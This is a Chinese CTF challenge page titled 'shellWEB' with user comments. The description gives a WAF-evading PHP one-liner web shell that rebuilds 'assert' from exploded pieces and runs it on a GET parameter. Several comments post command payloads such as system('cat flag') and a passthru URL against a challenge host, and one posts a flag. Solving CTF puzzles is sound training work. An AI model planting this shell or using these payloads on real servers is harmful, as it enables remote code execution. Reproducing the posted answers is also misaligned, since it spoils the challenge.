shellWEB 未解决

分数: 25 金币: 3
题目作者: harry
一　　血: dotast
一血奖励: 1金币
解　　决: 9259
提　　示:
描　　述:
送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
...
登录回复
评论
04secbug 3年前
举报

s=system('ls') s=system('cat flag')

回复 1
JJhello 3年前
举报

rnm,退钱

回复 2
wxy1343 3年前
举报

flag{5104494e7b5ec21c02e3d1c5985a4e89}

回复 0
wxy1343 3年前
举报

http://114.67.175.224:11167/index.php?s=passthru(%27cat%20flaga15808abee46a1d5.txt%27)

回复 0
我爱你制杖 3年前
举报

注意描述，explode为分搁符。绕来绕去就是：assert($_GET['s'])

回复 1
xclay 3年前
举报

这题告诉我们，学什么渗透，直接猜开发者留下的接口就可以了

回复 4
2224525664 3年前
举报

没有提示的话这题是不是就做不出来了？

回复 1
Miludear 3年前
举报

不懂语法的可直接参考 https://blog.csdn.net/changer_we/article/details/89304399 大佬的文章，很不错，简单易懂！

回复 2
zmcck 3年前
举报

assert(s) ?s=system("ls") ?s=system("cat flag***.txt")

回复 0
17695688750 3年前
举报

命令执行漏洞，我以为s和url间隔要用/隔开，没想到要用？隔开，淦

回复 0

WriteUp

image
harry

3 金币

立即查看

评分(11)

解题动态

南风 攻破了该题 8小时前
crea-tive 攻破了该题 10小时前
月落曦辰 攻破了该题 14小时前
1916176503 攻破了该题 15小时前
suoao 攻破了该题 17小时前
男大有点小帅 攻破了该题 20小时前
浅云723 攻破了该题 22小时前
淮南 攻破了该题 1天前
安全的可达鸭 攻破了该题 1天前
qinlan 攻破了该题 1天前
白说的话 攻破了该题 1天前
TOVOT 攻破了该题 1天前
inspired 攻破了该题 2天前
colaring 攻破了该题 2天前
xinyu929 攻破了该题 2天前
shooter6567 攻破了该题 3天前
Yan123 攻破了该题 3天前
HZFCMCC 攻破了该题 3天前
1234wsryv 攻破了该题 3天前
LightPing 攻破了该题 3天前
问题反馈